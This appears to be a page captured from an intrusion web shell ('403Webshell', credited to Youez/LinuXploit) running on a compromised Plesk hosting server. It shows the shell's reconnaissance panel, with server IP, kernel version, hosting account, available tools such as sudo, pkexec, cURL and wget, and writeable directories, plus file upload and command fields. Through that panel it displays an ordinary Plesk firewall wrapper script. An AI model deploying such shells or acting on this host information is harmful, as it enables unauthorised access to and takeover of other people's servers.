403Webshell
Server IP : 172.67.131.151  /  Your IP : 104.23.243.115
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/psa/bin/modules/firewall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/psa/bin/modules/firewall/settings
#!/bin/bash -e
### Copyright 1999-2023. Plesk International GmbH. All rights reserved.

# pm_Hook_ApiCli doesn't support short options, this wrapper emulates old behavior

OPTS=()
IS_VALUE_EXPECTED=

for opt in "$@"; do
	if [ -n "$IS_VALUE_EXPECTED" ]; then
		OPTS+=("$opt")
		IS_VALUE_EXPECTED=
		continue
	fi

	case "$opt" in
		-a) OPTS+=(--apply) ;;
		-c) OPTS+=(--confirm) ;;
		-d) OPTS+=(--disable) ;;
		-e) OPTS+=(--enable) ;;
		-r) OPTS+=(--reset) ;;
		-s) OPTS+=(--set-rule) ;;
		-h) OPTS+=(--help) ;;
		-n) OPTS+=(-name); IS_VALUE_EXPECTED="yes" ;;
		-p) OPTS+=(-ports); IS_VALUE_EXPECTED="yes" ;;
		*)
			OPTS+=("$opt")
			case "$opt" in
				--remove-rules)
					IS_VALUE_EXPECTED="yes" ;;
				-id|-name|-direction|-action|-ports|-remote-addresses|-from|-to|-ids|-config)
					IS_VALUE_EXPECTED="yes" ;;
			esac
			;;
	esac
done

exec /usr/sbin/plesk ext firewall "${OPTS[@]}"

Youez - 2016 - github.com/yon3zu
LinuXploit